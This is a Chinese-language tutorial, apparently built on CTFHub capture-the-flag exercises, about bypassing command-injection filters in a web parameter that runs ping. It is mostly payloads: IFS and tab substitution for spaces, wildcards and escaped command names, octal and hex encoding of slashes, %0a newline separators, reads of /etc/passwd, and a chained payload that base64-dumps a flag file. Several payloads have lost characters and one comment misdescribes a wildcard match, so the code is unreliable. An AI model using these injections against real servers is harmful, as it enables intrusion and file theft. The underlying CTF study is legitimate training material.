CTFHub RCE 7类过滤绕过实战从无过滤到综合过滤的5种Payload构造在网络安全竞赛和渗透测试中远程命令执行(RCE)漏洞一直是高危漏洞的典型代表。本文将系统性地剖析CTFHub平台上的7类RCE过滤场景从基础的无过滤环境到复杂的综合过滤机制逐步拆解5种核心Payload构造技术。1. RCE漏洞基础与无过滤场景实战RCE(Remote Command Execution)漏洞允许攻击者在目标服务器上执行任意系统命令。这种漏洞通常出现在Web应用调用系统命令函数时未对用户输入进行严格过滤的情况下。无过滤场景是最基础的RCE环境我们可以直接使用各种命令分隔符来执行多命令127.0.0.1 ls # 使用分隔符无论前命令是否成功都会执行后命令 127.0.0.1 | cat flag.php # 使用管道符将前命令输出作为后命令输入在实战中我们通常会按照以下步骤进行信息收集确定目标系统类型(Linux/Windows)目录探测使用ls或dir查看当前目录文件文件读取使用cat、more等命令查看文件内容权限提升尝试获取更高权限shell提示在浏览器中直接测试时某些输出可能无法完整显示建议使用Burp Suite等工具拦截查看原始响应。2. 命令关键词过滤的绕过艺术当系统过滤了特定命令如cat时我们需要寻找替代方案。Linux系统提供了多种文件查看命令每种都有其独特用途命令功能描述适用场景more分页显示文件内容大文件查看less可回滚的分页显示交互式查看tail显示文件末尾内容日志文件查看head显示文件开头内容快速预览nl显示文件内容并带行号代码分析实战案例127.0.0.1 more flag.php # 使用more替代cat 127.0.0.1 nl flag.php | base64 # 组合使用nl和base64编码更高级的绕过技术包括转义字符c\at flag.php变量拼接ac;bat;$a$b flag.php通配符/???/c?t flag.php3. 空格过滤的6种创新解法空格是命令执行中的关键分隔符当它被过滤时我们需要使用特殊替代方案内部字段分隔符${IFS}或$IFS$9重定向符号或URL编码%20(空格)、%09(Tab)花括号扩展{cat,flag.php}变量替换X$cat\x20flag.php$X反引号执行cat${IFS}echo flag.php典型Payload127.0.0.1cat${IFS}flag.php 127.0.0.1catflag.php 127.0.0.1%26cat%09flag.php注意$IFS在默认情况下通常为空格、制表符或换行符而$IFS$9中的$9是当前脚本的第9个参数通常为空用于确保分隔符正确解析。4. 目录分隔符限制的突破策略当/和\被过滤时访问特定目录下的文件变得困难。以下是几种有效解决方案方法一改变工作目录127.0.0.1;cd flag_is_here;cat flag.php方法二环境变量截取127.0.0.1;cat ${PATH:0:1}etc${PATH:0:1}passwd方法三编码绕过127.0.0.1;cat $(printf \57etc\57passwd) # 八进制表示 127.0.0.1;cat $\x2fetc$\x2fpasswd # 十六进制表示方法四通配符替代127.0.0.1;cat /???/pass?? # 匹配/bin/passwd方法五命令生成127.0.0.1;a$(echo /);cat ${a}etc${a}passwd5. 运算符过滤与综合过滤的终极挑战当、|、;等运算符被过滤时我们需要使用更隐蔽的分隔方式换行符绕过127.0.0.1%0als # %0a是URL编码的换行符变量控制法127.0.0.1$\nwhoami # 使用$\n表示换行综合过滤场景往往同时限制多种字符和关键词此时需要组合多种技术使用%0a替代命令分隔符使用${IFS}替代空格使用通配符或变量拼接绕过关键词过滤使用编码或特殊字符绕过符号限制完整攻击链示例?ip127.0.0.1%0acd${IFS}fl*_is_here%0als ?ip127.0.0.1%0AcD${IFS}fL*_i*_h*%0AbAsE64${IFS}fL*_123.php在真实渗透测试中面对复杂过滤系统时建议采用模糊测试思路逐步尝试各种可能的绕过方法同时注意观察系统的错误响应这些信息往往能提供有价值的绕过线索。
